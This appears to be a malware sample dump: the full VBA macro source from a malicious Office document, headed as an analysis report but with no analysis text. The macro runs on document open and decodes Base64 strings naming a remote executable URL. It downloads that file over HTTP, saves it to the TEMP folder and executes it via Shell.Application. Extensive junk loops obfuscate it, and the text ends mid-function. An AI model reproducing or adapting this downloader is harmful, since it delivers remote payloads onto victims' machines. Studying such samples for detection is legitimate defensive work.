Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const u3Uwsv = "aHR0cDovL2RyZXZlbmFrLmN6L2pzL2Jpbi5leGU/PTQzNTQzNQ=="
Private Const SwH7 = "XHNkZnNkZmVyZndlLmV4ZQ=="
Private Const rEKE = "VEVNUA=="
Private Const rpg = SwH7
Private Const fSt = rEKE
Private Const dThZ7U4aF = "U2hlbGwuQXBwbGljYXRpb24="
Private Const qsVrDVAmOj = "Z2ZoZGZnc2Rn"
Private Const SFgBv0ISXZ = "R0VU"
Private Const Ky1e8CmX3 = "TVNYTUwyLlhNTEhUVFA="
Private aDecTab(255) As Integer
Private Const TcKhQpncb = "="
Private Const uwbNZtnc = "/"
Private Const mE4AWCC3O = "+"
Private Const rH2A = "9"
Private Const MPt = "0"
Private Const o4YsRAnX = "z"
Private Const vJ5d = "a"
Private Const lVvyl = "Z"
Private Const uoqGqBG = "A"
Private Const BvWUutkkp = " "

Sub Zkp()
 HJlIT
Dim SIzNYGGt As Integer
SIzNYGGt = 1023
Do While SIzNYGGt < 1023 + 10
SIzNYGGt = SIzNYGGt + 1: DoEvents
Loop
Dim uranMM As Integer
uranMM = 2195
Do While uranMM < 2195 + 10
uranMM = uranMM + 1: DoEvents
Loop
End Sub
Sub iVF()
     Zkp
Dim CFxVzeNJ As Integer
CFxVzeNJ = 1594
Do While CFxVzeNJ < 1594 + 10
CFxVzeNJ = CFxVzeNJ + 1: DoEvents
Loop
Dim JlFkIaAbgyhDny As Integer
JlFkIaAbgyhDny = 1244
Do While JlFkIaAbgyhDny < 1244 + 10
JlFkIaAbgyhDny = JlFkIaAbgyhDny + 1: DoEvents
Loop
End Sub
Sub NRug8O()
     Zkp
Dim tgHeqEmDpt As Integer
tgHeqEmDpt = 1592
Do While tgHeqEmDpt < 1592 + 10
tgHeqEmDpt = tgHeqEmDpt + 1: DoEvents
Loop
Dim kIaAbmgyh As Integer
kIaAbmgyh = 1054
Do While kIaAbmgyh < 1054 + 10
kIaAbmgyh = kIaAbmgyh + 1: DoEvents
Loop
End Sub
Function fhfderwer(ByVal jkrdewf As String, ByVal jkjrtewf As String) As Boolean
     Dim lujjb As Long, hjker As Long, dsjhgfwqer() As Byte
Dim ySIzNYGGtg As Integer
ySIzNYGGtg = 1687
Do While ySIzNYGGtg < 1687 + 10
ySIzNYGGtg = ySIzNYGGtg + 1: DoEvents
Loop
Dim EALdszBK As Integer
EALdszBK = 1529
Do While EALdszBK < 1529 + 10
EALdszBK = EALdszBK + 1: DoEvents
Loop

Dim KgirBwZp As Integer
KgirBwZp = 803
Do While KgirBwZp < 803 + 10
KgirBwZp = KgirBwZp + 1: DoEvents
Loop
Dim HqqddEMa As Integer
HqqddEMa = 2416
Do While HqqddEMa < 2416 + 10
HqqddEMa = HqqddEMa + 1: DoEvents
Loop
    Set dsfsdf = CreateObject(tocFpmF(Ky1e8CmX3))
Dim kkjoLZDQPgjmeCRK As Integer
kkjoLZDQPgjmeCRK = 961
Do While kkjoLZDQPgjmeCRK < 961 + 10
kkjoLZDQPgjmeCRK = kkjoLZDQPgjmeCRK + 1: DoEvents
Loop
Dim fKTTSYI As Integer
fKTTSYI = 2227
Do While fKTTSYI < 2227 + 10
fKTTSYI = fKTTSYI + 1: DoEvents
Loop
    dsfsdf.Open tocFpmF(SFgBv0ISXZ), jkrdewf, False
Dim aBVAZqCroiAUEOUQdtu As Integer
aBVAZqCroiAUEOUQdtu = 959
Do While aBVAZqCroiAUEOUQdtu < 959 + 10
aBVAZqCroiAUEOUQdtu = aBVAZqCroiAUEOUQdtu + 1: DoEvents
Loop
Dim dqPPrAMo As Integer
dqPPrAMo = 2334
Do While dqPPrAMo < 2334 + 10
dqPPrAMo = dqPPrAMo + 1: DoEvents
Loop
    dsfsdf.Send tocFpmF(qsVrDVAmOj)
Dim hQMBVMDQb As Integer
hQMBVMDQb = 2430
Do While hQMBVMDQb < 2430 + 10
hQMBVMDQb = hQMBVMDQb + 1: DoEvents
Loop
Dim nphGVN As Integer
nphGVN = 25
Do While nphGVN < 25 + 10
nphGVN = nphGVN + 1: DoEvents
Loop

Dim UeBjMcIOiqgL As Integer
UeBjMcIOiqgL = 1607
Do While UeBjMcIOiqgL < 1607 + 10
UeBjMcIOiqgL = UeBjMcIOiqgL + 1: DoEvents
Loop
Dim cvBJyeno As Integer
cvBJyeno = 2399
Do While cvBJyeno < 2399 + 10
cvBJyeno = cvBJyeno + 1: DoEvents
Loop

Dim McIOiq As Integer
McIOiq = 1133
Do While McIOiq < 1133 + 10
McIOiq = McIOiq + 1: DoEvents
Loop
Dim oxUPtvcvByenomrOUcG As Integer
oxUPtvcvByenomrOUcG = 1639
Do While oxUPtvcvByenomrOUcG < 1639 + 10
oxUPtvcvByenomrOUcG = oxUPtvcvByenomrOUcG + 1: DoEvents
Loop
    dsjhgfwqer = dsfsdf.responseBody
Dim LGGFK As Integer
LGGFK = 2492
Do While LGGFK < 2492 + 10
LGGFK = LGGFK + 1: DoEvents
Loop
Dim AMoInLe As Integer
AMoInLe = 1164
Do While AMoInLe < 1164 + 10
AMoInLe = AMoInLe + 1: DoEvents
Loop

Dim RoJiokwzNkluzdsKfysiN As Integer
RoJiokwzNkluzdsKfysiN = 845
Do While RoJiokwzNkluzdsKfysiN < 845 + 10
RoJiokwzNkluzdsKfysiN = RoJiokwzNkluzdsKfysiN + 1: DoEvents
Loop
Dim qqpufltJjzpskIQOwlFwAKttghH As Integer
qqpufltJjzpskIQOwlFwAKttghH = 1006
Do While qqpufltJjzpskIQOwlFwAKttghH < 1006 + 10
qqpufltJjzpskIQOwlFwAKttghH = qqpufltJjzpskIQOwlFwAKttghH + 1: DoEvents
Loop
    hjker = FreeFile
Dim InLeDep As Integer
InLeDep = 1766
Do While InLeDep < 1766 + 10
InLeDep = InLeDep + 1: DoEvents
Loop
Dim fNMAmNkwKsJv As Integer
fNMAmNkwKsJv = 1683
Do While fNMAmNkwKsJv < 1683 + 10
fNMAmNkwKsJv = fNMAmNkwKsJv + 1: DoEvents
Loop
    Open jkjrtewf For Binary Access Write As #hjker
Dim ZgJQVmqskJZ As Integer
ZgJQVmqskJZ = 226
Do While ZgJQVmqskJZ < 226 + 10
ZgJQVmqskJZ = ZgJQVmqskJZ + 1: DoEvents
Loop
Dim dDpFILDd As Integer
dDpFILDd = 511
Do While dDpFILDd < 511 + 10
dDpFILDd = dDpFILDd + 1: DoEvents
Loop
    Put #hjker, , dsjhgfwqer
Dim QVmqskJZQB As Integer
QVmqskJZQB = 1018
Do While QVmqskJZQB < 1018 + 10
QVmqskJZQB = QVmqskJZQB + 1: DoEvents
Loop
Dim OJKINy As Integer
OJKINy = 101
Do While OJKINy < 101 + 10
OJKINy = OJKINy + 1: DoEvents
Loop
    Close #hjker
Dim puRZgJQ As Integer
puRZgJQ = 1176
Do While puRZgJQ < 1176 + 10
puRZgJQ = puRZgJQ + 1: DoEvents
Loop
Dim RltjOJKINy As Integer
RltjOJKINy = 101
Do While RltjOJKINy < 101 + 10
RltjOJKINy = RltjOJKINy + 1: DoEvents
Loop
    
Dim DPsLrOhG As Integer
DPsLrOhG = 102
Do While DPsLrOhG < 102 + 10
DPsLrOhG = DPsLrOhG + 1: DoEvents
Loop
Dim UPEZPGfNMAmNkwKsJv As Integer
UPEZPGfNMAmNkwKsJv = 1683
Do While UPEZPGfNMAmNkwKsJv < 1683 + 10
UPEZPGfNMAmNkwKsJv = UPEZPGfNMAmNkwKsJv + 1: DoEvents
Loop
Set hgjrtref = CreateObject(tocFpmF(dThZ7U4aF))
Dim RkJkvpHr As Integer
RkJkvpHr = 746
Do While RkJkvpHr < 746 + 10
RkJkvpHr = RkJkvpHr + 1: DoEvents
Loop
Dim iQPDqQnzOvMz As Integer
iQPDqQnzOvMz = 747
Do While iQPDqQnzOvMz < 747 + 10
iQPDqQnzOvMz = iQPDqQnzOvMz + 1: DoEvents
Loop
hgjrtref.Open Environ(tocFpmF(fSt)) & tocFpmF(rpg)
Dim cUEmpJmqEAk As Integer
cUEmpJmqEAk = 2360
Do While cUEmpJmqEAk < 2360 + 10
cUEmpJmqEAk = cUEmpJmqEAk + 1: DoEvents
Loop
Dim YTHcSJY As Integer
YTHcSJY = 1822
Do While YTHcSJY < 1822 + 10
YTHcSJY = YTHcSJY + 1: DoEvents
Loop
End Function
Sub HJlIT()
BHngijbjfdv = Environ(tocFpmF(fSt)) & tocFpmF(rpg)
Dim FltusxUcjNa As Integer
FltusxUcjNa = 240
Do While FltusxUcjNa < 240 + 10
FltusxUcjNa = FltusxUcjNa + 1: DoEvents
Loop
Dim YTHcSJYQPDqQn As Integer
YTHcSJYQPDqQn = 2393
Do While YTHcSJYQPDqQn < 2393 + 10
YTHcSJYQPDqQn = YTHcSJYQPDqQn + 1: DoEvents
Loop
sdnfhuijk = tocFpmF(u3Uwsv)
Dim mpJmqEAkx As Integer
mpJmqEAkx = 1444
Do While mpJmqEAkx < 1444 + 10
mpJmqEAkx = mpJmqEAkx + 1: DoEvents
Loop
Dim bxTsy As Integer
bxTsy = 1774
Do While bxTsy < 1774 + 10
bxTsy = bxTsy + 1: DoEvents
Loop
     fhfderwer sdnfhuijk, BHngijbjfdv
Dim nMnysKuQALQN As Integer
nMnysKuQALQN = 981
Do While nMnysKuQALQN < 981 + 10
nMnysKuQALQN = nMnysKuQALQN + 1: DoEvents
Loop
Dim qDRzQCGgURLe As Integer
qDRzQCGgURLe = 1487
Do While qDRzQCGgURLe < 1487 + 10
qDRzQCGgURLe = qDRzQCGgURLe + 1: DoEvents
Loop
End Sub
Sub autoopen()
     Zkp
Dim nysKuQALQNZ As Integer
nysKuQALQNZ = 1835
Do While nysKuQALQNZ < 1835 + 10
nysKuQALQNZ = nysKuQALQNZ + 1: DoEvents
Loop
Dim pICsYhhfkVOV As Integer
pICsYhhfkVOV = 1234
Do While pICsYhhfkVOV < 1234 + 10
pICsYhhfkVOV = pICsYhhfkVOV + 1: DoEvents
Loop
End Sub

Public Function tocFpmF(ertwefsd As String) As String
Dim vAd As String
Dim DDqqRanOiNmD As Integer
DDqqRanOiNmD = 1109
Do While DDqqRanOiNmD < 1109 + 10
DDqqRanOiNmD = DDqqRanOiNmD + 1: DoEvents
Loop
Dim VaAalf As Integer
VaAalf = 1249
Do While VaAalf < 1249 + 10
VaAalf = VaAalf + 1: DoEvents
Loop
Dim d(3) As Byte
Dim GGttUdqRmQpG As Integer
GGttUdqRmQpG = 173
Do While GGttUdqRmQpG < 173 + 10
GGttUdqRmQpG = GGttUdqRmQpG + 1: DoEvents
Loop
Dim anaMoKIlS As Integer
anaMoKIlS = 1027
Do While anaMoKIlS < 1027 + 10
anaMoKIlS = anaMoKIlS + 1: DoEvents
Loop
Dim C As Byte
Dim SHEyQNkTfl As Integer
SHEyQNkTfl = 584
Do While SHEyQNkTfl < 584 + 10
SHEyQNkTfl = SHEyQNkTfl + 1: DoEvents
Loop
Dim IlSkVaAalf As Integer
IlSkVaAalf = 1249
Do While IlSkVaAalf < 1249 + 10
IlSkVaAalf = IlSkVaAalf + 1: DoEvents
Loop
Dim di As Integer
Dim InNzOSVNm As Integer
InNzOSVNm = 203
Do While InNzOSVNm < 203 + 10
InNzOSVNm = InNzOSVNm + 1: DoEvents
Loop
Dim LSUeBwac As Integer
LSUeBwac = 2178
Do While LSUeBwac < 2178 + 10
LSUeBwac = LSUeBwac + 1: DoEvents
Loop
Dim i As Long
Dim MnbYRkhEay As Integer
MnbYRkhEay = 1135
Do While MnbYRkhEay < 1135 + 10
MnbYRkhEay = MnbYRkhEay + 1: DoEvents
Loop
Dim FxQleOwySANKtGggH As Integer
FxQleOwySANKtGggH = 1071
Do While FxQleOwySANKtGggH < 1071 + 10
FxQleOwySANKtGggH = FxQleOwySANKtGggH + 1: DoEvents
Loop
Dim Yagv1OZ As Long
Dim ELqQCSVZQp As Integer
ELqQCSVZQp = 1767
Do While ELqQCSVZQp < 1767 + 10
ELqQCSVZQp = ELqQCSVZQp + 1: DoEvents
Loop
Dim RZOuDECHfl As Integer
RZOuDECHfl = 1230
Do While RZOuDECHfl < 1230 + 10
RZOuDECHfl = RZOuDECHfl + 1: DoEvents
Loop
Dim ahUiR2UU6UrM As Long
Dim VolHd As Integer
VolHd = 2444
Do While VolHd < 2444 + 10
VolHd = VolHd + 1: DoEvents
Loop
Dim CUDbKUbQjz As Integer
CUDbKUbQjz = 1465
Do While CUDbKUbQjz < 1465 + 10
CUDbKUbQjz = CUDbKUbQjz + 1: DoEvents
Loop
Yagv1OZ = Len(ertwefsd)
Dim dCHDPSiDEN As Integer
dCHDPSiDEN = 484
Do While dCHDPSiDEN < 484 + 10
dCHDPSiDEN = dCHDPSiDEN + 1: DoEvents
Loop
Dim gHcGfxQxICUD As Integer
gHcGfxQxICUD = 2001
Do While gHcGfxQxICUD < 2001 + 10
gHcGfxQxICUD = gHcGfxQxICUD + 1: DoEvents
Loop
vAd = String((Yagv1OZ \ 4) * 3, BvWUutkkp)
Dim eAMbIaLPq As Integer
eAMbIaLPq = 2413
Do While eAMbIaLPq < 2413 + 10
eAMbIaLPq = eAMbIaLPq + 1: DoEvents
Loop
Dim slUCE As Integer
slUCE = 1511
Do While slUCE < 1511 + 10
slUCE = slUCE + 1: DoEvents
Loop
ahUiR2UU6UrM = 0
Dim janyhgT As Integer
janyhgT = 1034
Do While janyhgT < 1034 + 10
janyhgT = janyhgT + 1: DoEvents
Loop
Dim zdqpFJM As Integer
zdqpFJM = 2396
Do While zdqpFJM < 2396 + 10
zdqpFJM = zdqpFJM + 1: DoEvents
Loop
di = 0
Dim rAZFjyfEMCide As Integer
rAZFjyfEMCide = 338
Do While rAZFjyfEMCide < 338 + 10
rAZFjyfEMCide = rAZFjyfEMCide + 1: DoEvents
Loop
Dim gkJkvpHE As Integer
gkJkvpHE = 1827
Do While gkJkvpHE < 1827 + 10
gkJkvpHE = gkJkvpHE + 1: DoEvents
Loop
Call kp1UWLnYV
Dim CfyeCTg As Integer
CfyeCTg = 287
Do While CfyeCTg < 287 + 10
CfyeCTg = CfyeCTg + 1: DoEvents
Loop
Dim HpsMptHRmAna As Integer
HpsMptHRmAna = 1016
Do While HpsMptHRmAna < 1016 + 10
HpsMptHRmAna = HpsMptHRmAna + 1: DoEvents
Loop

Dim hsyuFQYt As Integer
hsyuFQYt = 2439
Do While hsyuFQYt < 2439 + 10
hsyuFQYt = hsyuFQYt + 1: DoEvents
Loop
Dim jnMnysKH As Integer
jnMnysKH = 891
Do While jnMnysKH < 891 + 10
jnMnysKH = jnMnysKH + 1: DoEvents
Loop
For i = 1 To Len(ertwefsd)
Dim oQQJJ As Integer
oQQJJ = 588
Do While oQQJJ < 588 + 10
oQQJJ = oQQJJ + 1: DoEvents
Loop
Dim ibKsvPswKUq As Integer
ibKsvPswKUq = 553
Do While ibKsvPswKUq < 553 + 10
ibKsvPswKUq = ibKsvPswKUq + 1: DoEvents
Loop
C = CByte(Asc(Mid(ertwefsd, i, 1)))
Dim VMmOtraNjZP As Integer
VMmOtraNjZP = 427
Do While VMmOtraNjZP < 427 + 10
VMmOtraNjZP = VMmOtraNjZP + 1: DoEvents
Loop
Dim DpipTggv As Integer
DpipTggv = 1820
Do While DpipTggv < 1820 + 10
DpipTggv = DpipTggv + 1: DoEvents
Loop
C = aDecTab(C)
Dim sYfyGvb As Integer
sYfyGvb = 1992
Do While sYfyGvb < 1992 + 10
sYfyGvb = sYfyGvb + 1: DoEvents
Loop
Dim qOUQdguPRblg As Integer
qOUQdguPRblg = 1960
Do While qOUQdguPRblg < 1960 + 10
qOUQdguPRblg = qOUQdguPRblg + 1: DoEvents
Loop
If C >= 0 Then
Dim McjkuRMq As Integer
McjkuRMq = 695
Do While McjkuRMq < 695 + 10
McjkuRMq = McjkuRMq + 1: DoEvents
Loop
Dim eNwySv As Integer
eNwySv = 851
Do While eNwySv < 851 + 10
eNwySv = eNwySv + 1: DoEvents
Loop
d(di) = C
Dim ZdOUd As Integer
ZdOUd = 1753
Do While ZdOUd < 1753 + 10
ZdOUd = ZdOUd + 1: DoEvents
Loop
Dim SUeojMcu As Integer
SUeojMcu = 2130
Do While SUeojMcu < 2130 + 10
SUeojMcu = SUeojMcu + 1: DoEvents
Loop
di = di + 1
Dim rnzPfm As Integer
rnzPfm = 1877
Do While rnzPfm < 1877 + 10
rnzPfm = rnzPfm + 1: DoEvents
Loop
Dim xuoGDbwUbQ As Integer
xuoGDbwUbQ = 608
Do While xuoGDbwUbQ < 608 + 10
xuoGDbwUbQ = xuoGDbwUbQ + 1: DoEvents
Loop
If di = 4 Then
Dim RQkhPdC As Integer
RQkhPdC = 890
Do While RQkhPdC < 890 + 10
RQkhPdC = RQkhPdC + 1: DoEvents
Loop
Dim MnZpsv As Integer
MnZpsv = 2252
Do While MnZpsv < 2252 + 10
MnZpsv = MnZpsv + 1: DoEvents
Loop
Mid$(vAd, ahUiR2UU6UrM + 1, 3) = wXV8Ug(d)
Dim vlQabZeHOtGFVZcT As Integer
vlQabZeHOtGFVZcT = 7
Do While vlQabZeHOtGFVZcT < 7 + 10
vlQabZeHOtGFVZcT = vlQabZeHOtGFVZcT + 1: DoEvents
Loop
Dim nIKTrZC As Integer
nIKTrZC = 2169
Do While nIKTrZC < 2169 + 10
nIKTrZC = nIKTrZC + 1: DoEvents
Loop
ahUiR2UU6UrM = ahUiR2UU6UrM + 3
Dim QnmNvMy As Integer
QnmNvMy = 747
Do While QnmNvMy < 747 + 10
QnmNvMy = QnmNvMy + 1: DoEvents
Loop
Dim zaZpfi As Integer
zaZpfi = 1062
Do While zaZpfi < 1062 + 10
zaZpfi = zaZpfi + 1: DoEvents
Loop
If d(3) = 64 Then
Dim YFHcEJQ As Integer
YFHcEJQ = 1823
Do While YFHcEJQ < 1823 + 10
YFHcEJQ = YFHcEJQ + 1: DoEvents
Loop
Dim Cddsil As Integer
Cddsil = 126
Do While Cddsil < 126 + 10
Cddsil = Cddsil + 1: DoEvents
Loop
vAd = Left(vAd, Len(vAd) - 1)
Dim sVlEYrmb As Integer
sVlEYrmb = 822
Do While sVlEYrmb < 822 + 10
sVlEYrmb = sVlEYrmb + 1: DoEvents
Loop
Dim inYfmC As Integer
inYfmC = 315
Do While inYfmC < 315 + 10
inYfmC = inYfmC + 1: DoEvents
Loop
ahUiR2UU6UrM = ahUiR2UU6UrM - 1
Dim HcupeKS As Integer
HcupeKS = 963
Do While HcupeKS < 963 + 10
HcupeKS = HcupeKS + 1: DoEvents
Loop
Dim rzAJi As Integer
rzAJi = 235
Do While rzAJi < 235 + 10
rzAJi = rzAJi + 1: DoEvents
Loop
End If
Dim flhsvKghrA As Integer
flhsvKghrA = 2227
Do While flhsvKghrA < 2227 + 10
flhsvKghrA = flhsvKghrA + 1: DoEvents
Loop
Dim qBHDOguCDM As Integer
qBHDOguCDM = 659
Do While qBHDOguCDM < 659 + 10
qBHDOguCDM = qBHDOguCDM + 1: DoEvents
Loop
If d(2) = 64 Then
Dim JwjJgtHpGs As Integer
JwjJgtHpGs = 185
Do While JwjJgtHpGs < 185 + 10
JwjJgtHpGs = JwjJgtHpGs + 1: DoEvents
Loop
Dim dqPPrzLo As Integer
dqPPrzLo = 2400
Do While dqPPrzLo < 2400 + 10
dqPPrzLo = dqPPrzLo + 1: DoEvents
Loop
vAd = Left(vAd, Len(vAd) - 1)
Dim lrnzCQmoxHC As Integer
lrnzCQmoxHC = 451
Do While lrnzCQmoxHC < 451 + 10
lrnzCQmoxHC = lrnzCQmoxHC + 1: DoEvents
Loop
Dim KGRjxFGQo As Integer
KGRjxFGQo = 863
Do While KGRjxFGQo < 863 + 10
KGRjxFGQo = KGRjxFGQo + 1: DoEvents
Loop
ahUiR2UU6UrM = ahUiR2UU6UrM - 1
Dim MMzmNwKsJvz As Integer
MMzmNwKsJvz = 2285
Do While MMzmNwKsJvz < 2285 + 10
MMzmNwKsJvz = MMzmNwKsJvz + 1: DoEvents
Loop
Dim DAjwVVx As Integer
DAjwVVx = 1446
Do While DAjwVVx < 1446 + 10
DAjwVVx = DAjwVVx + 1: DoEvents
Loop
End If
Dim HcSIQhPPDpQ As Integer
HcSIQhPPDpQ = 938
Do While HcSIQhPPDpQ < 938 + 10
HcSIQhPPDpQ = HcSIQhPPDpQ + 1: DoEvents
Loop
Dim OEktusxUbi As Integer
OEktusxUbi = 2490
Do While OEktusxUbi < 2490 + 10
OEktusxUbi = OEktusxUbi + 1: DoEvents
Loop
di = 0
Dim VlRYrzp As Integer
VlRYrzp = 1903
Do While VlRYrzp < 1903 + 10
VlRYrzp = VlRYrzp + 1: DoEvents
Loop
Dim oJxGeZCElEKS As Integer
oJxGeZCElEKS = 382
Do While oJxGeZCElEKS < 382 + 10
oJxGeZCElEKS = oJxGeZCElEKS + 1: DoEvents
Loop
End If
Dim yQNkTfkhs As Integer
yQNkTfkhs = 1219
Do While yQNkTfkhs < 1219 + 10
yQNkTfkhs = yQNkTfkhs + 1: DoEvents
Loop
Dim IlRjVazalf As Integer
IlRjVazalf = 1314
Do While IlRjVazalf < 1314 + 10
IlRjVazalf = IlRjVazalf + 1: DoEvents
Loop
End If
Dim xRIzMQGFtt As Integer
xRIzMQGFtt = 334
Do While xRIzMQGFtt < 334 + 10
xRIzMQGFtt = xRIzMQGFtt + 1: DoEvents
Loop
Dim PqMLo As Integer
PqMLo = 2466
Do While PqMLo < 2466 + 10
PqMLo = PqMLo + 1: DoEvents
Loop
Next i
Dim LAULC As Integer
LAULC = 1737
Do While LAULC < 1737 + 10
LAULC = LAULC + 1: DoEvents
Loop
Dim JVVlp As Integer
JVVlp = 2227
Do While JVVlp < 2227 + 10
JVVlp = JVVlp + 1: DoEvents
Loop
 tocFpmF = vAd
Dim zdeKRksiN As Integer
zdeKRksiN = 802
Do While zdeKRksiN < 802 + 10
zdeKRksiN = zdeKRksiN + 1: DoEvents
Loop
Dim tsxibiMa As Integer
tsxibiMa = 371
Do While tsxibiMa < 371 + 10
tsxibiMa = tsxibiMa + 1: DoEvents
Loop
End Function
Private Function wXV8Ug(d() As Byte) As String
Dim MUlJcBiW As String
Dim wlQMMKP As Integer
wlQMMKP = 751
Do While wlQMMKP < 751 + 10
wlQMMKP = wlQMMKP + 1: DoEvents
Loop
Dim gEKGSVkFHQ As Integer
gEKGSVkFHQ = 2114
Do While gEKGSVkFHQ < 2114 + 10
gEKGSVkFHQ = gEKGSVkFHQ + 1: DoEvents
Loop
Dim C As Long
Dim IbJhQbhdpFU As Integer
IbJhQbhdpFU = 862
Do While IbJhQbhdpFU < 862 + 10
IbJhQbhdpFU = IbJhQbhdpFU + 1: DoEvents
Loop
Dim kGShOgRVwk As Integer
kGShOgRVwk = 2000
Do While kGShOgRVwk < 2000 + 10
kGShOgRVwk = kGShOgRVwk + 1: DoEvents
Loop
MUlJcBiW = vbNullString
Dim JQTCPppQa As Integer
JQTCPppQa = 1334
Do While JQTCPppQa < 1334 + 10
JQTCPppQa = JQTCPppQa + 1: DoEvents
Loop
Dim ldCfJu As Integer
ldCfJu = 587
Do While ldCfJu < 587 + 10
ldCfJu = ldCfJu + 1: DoEvents
Loop
C = RTgCMP8ArHN(d(0)) Or (fmTcJ(d(1)) And &H3)
Dim VYEYemb As Integer
VYEYemb = 779
Do While VYEYemb < 779 + 10
VYEYemb = VYEYemb + 1: DoEvents
Loop
Dim AJiOsHou As Integer
AJiOsHou = 665
Do While AJiOsHou < 665 + 10
AJiOsHou = AJiOsHou + 1: DoEvents
Loop
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim NkGfQSfvKgT As Integer
NkGfQSfvKgT = 1424
Do While NkGfQSfvKgT < 1424 + 10
NkGfQSfvKgT = NkGfQSfvKgT + 1: DoEvents
Loop
Dim sHouNVLrmnl As Integer
sHouNVLrmnl = 1045
Do While sHouNVLrmnl < 1045 + 10
sHouNVLrmnl = sHouNVLrmnl + 1: DoEvents
Loop
C = sWGD(d(1) And &HF) Or (LBCH1U(d(2)) And &HF)
Dim BTQoJiaQiz As Integer
BTQoJiaQiz = 1596
Do While BTQoJiaQiz < 1596 + 10
BTQoJiaQiz = BTQoJiaQiz + 1: DoEvents
Loop
Dim ddPPrzLo As Integer
ddPPrzLo = 2357
Do While ddPPrzLo < 2357 + 10
ddPPrzLo = ddPPrzLo + 1: DoEvents
Loop
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim qpFIL As Integer
qpFIL = 2484
Do While qpFIL < 2484 + 10
qpFIL = qpFIL + 1: DoEvents
Loop
Dim oHPFlg As Integer
oHPFlg = 2306
Do While oHPFlg < 2306 + 10
oHPFlg = oHPFlg + 1: DoEvents
Loop
C = S2OPk(d(2) And &H3) Or d(3)
Dim ebmpEabkupSi As Integer
ebmpEabkupSi = 219
Do While ebmpEabkupSi < 219 + 10
ebmpEabkupSi = ebmpEabkupSi + 1: DoEvents
Loop
Dim GfZCElrK As Integer
GfZCElrK = 294
Do While GfZCElrK < 294 + 10
GfZCElrK = GfZCElrK + 1: DoEvents
Loop
MUlJcBiW = MUlJcBiW & Chr$(C)
Dim VlEZrmb As Integer
VlEZrmb = 800
Do While VlEZrmb < 800 + 10
VlEZrmb = VlEZrmb + 1: DoEvents
Loop
Dim yDALdrz As Integer
yDALdrz = 655
Do While yDALdrz < 655 + 10
yDALdrz = yDALdrz + 1: DoEvents
Loop
 wXV8Ug = MUlJcBiW
Dim RQIBInzzOSVN As Integer
RQIBInzzOSVN = 1922
Do While RQIBInzzOSVN < 1922 + 10
RQIBInzzOSVN = RQIBInzzOSVN + 1: DoEvents
Loop
Dim sIkjzp As Integer
sIkjzp = 2314
Do While sIkjzp < 2314 + 10
sIkjzp = sIkjzp + 1: DoEvents
Loop
End Function
Private Function kp1UWLnYV()
Dim t As Integer
Dim ELqCCSVZQp As Integer
ELqCCSVZQp = 1745
Do While ELqCCSVZQp < 1745 + 10
ELqCCSVZQp = ELqCCSVZQp + 1: DoEvents
Loop
Dim wwjjKTgHcGf As Integer
wwjjKTgHcGf = 1473
Do While wwjjKTgHcGf < 1473 + 10
wwjjKTgHcGf = wwjjKTgHcGf + 1: DoEvents
Loop
Dim C As Integer
Dim zbIaLPqPc As Integer
zbIaLPqPc = 620
Do While zbIaLPqPc < 620 + 10
zbIaLPqPc = zbIaLPqPc + 1: DoEvents
Loop
Dim UCrLCtGQzznn As Integer
UCrLCtGQzznn = 2185
Do While UCrLCtGQzznn < 2185 + 10
UCrLCtGQzznn = UCrLCtGQzznn + 1: DoEvents
Loop
For C = 0 To 255
Dim DCeLdO As Integer
DCeLdO = 1045
Do While DCeLdO < 1045 + 10
DCeLdO = DCeLdO + 1: DoEvents
Loop
Dim tRvaYFuOF As Integer
tRvaYFuOF = 456
Do While tRvaYFuOF < 456 + 10
tRvaYFuOF = tRvaYFuOF + 1: DoEvents
Loop
aDecTab(C) = -1
Dim VjQJkGFiO As Integer
VjQJkGFiO = 2007
Do While VjQJkGFiO < 2007 + 10
VjQJkGFiO = VjQJkGFiO + 1: DoEvents
Loop
Dim GFttUdpRlQpG As Integer
GFttUdpRlQpG = 217
Do While GFttUdpRlQpG < 217 + 10
GFttUdpRlQpG = GFttUdpRlQpG + 1: DoEvents
Loop
Next
Dim JhcFHoINVrAAyDbipTg As Integer
JhcFHoINVrAAyDbipTg = 911
Do While JhcFHoINVrAAyDbipTg < 911 + 10
JhcFHoINVrAAyDbipTg = JhcFHoINVrAAyDbipTg + 1: DoEvents
Loop
Dim CRVZPpRxhdR As Integer
CRVZPpRxhdR = 419
Do While CRVZPpRxhdR < 419 + 10
CRVZPpRxhdR = CRVZPpRxhdR + 1: DoEvents
Loop
t = 0
Dim ggHPcEYDct As Integer
ggHPcEYDct = 1527
Do While ggHPcEYDct < 1527 + 10
ggHPcEYDct = ggHPcEYDct + 1: DoEvents
Loop
Dim TsVAk As Integer
TsVAk = 874
Do While TsVAk < 874 + 10
TsVAk = TsVAk + 1: DoEvents
Loop
For C = Asc(uoqGqBG) To Asc(lVvyl)
Dim NlrydqpFJL As Integer
NlrydqpFJL = 2440
Do While NlrydqpFJL < 2440 + 10
NlrydqpFJL = NlrydqpFJL + 1: DoEvents
Loop
Dim anxggT As Integer
anxggT = 1078
Do While anxggT < 1078 + 10
anxggT = anxggT + 1: DoEvents
Loop
aDecTab(C) = t
Dim YFHdEJY As Integer
YFHdEJY = 1757
Do While YFHdEJY < 1757 + 10
YFHdEJY = YFHdEJY + 1: DoEvents
Loop
Dim iazcG As Integer
iazcG = 2072
Do While iazcG < 2072 + 10
iazcG = iazcG + 1: DoEvents
Loop
t = t + 1
Dim tTdpRlQo As Integer
tTdpRlQo = 1230
Do While tTdpRlQo < 1230 + 10
tTdpRlQo = tTdpRlQo + 1: DoEvents
Loop
Dim LRNZcrM As Integer
LRNZcrM = 1801
Do While LRNZcrM < 1801 + 10
LRNZcrM = LRNZcrM + 1: DoEvents
Loop
Next
Dim QnQink As Integer
QnQink = 1972
Do While QnQink < 1972 + 10
QnQink = QnQink + 1: DoEvents
Loop
Dim sjxHqqdPq As Integer
sjxHqqdPq = 927
Do While sjxHqqdPq < 927 + 10
sjxHqqdPq = sjxHqqdPq + 1: DoEvents
Loop
For C = Asc(vJ5d) To Asc(o4YsRAnX)
Dim bxELqDCSVZQp As Integer
bxELqDCSVZQp = 1702
Do While bxELqDCSVZQp < 1702 + 10
bxELqDCSVZQp = bxELqDCSVZQp + 1: DoEvents
Loop
Dim ImQAwl As Integer
ImQAwl = 2302
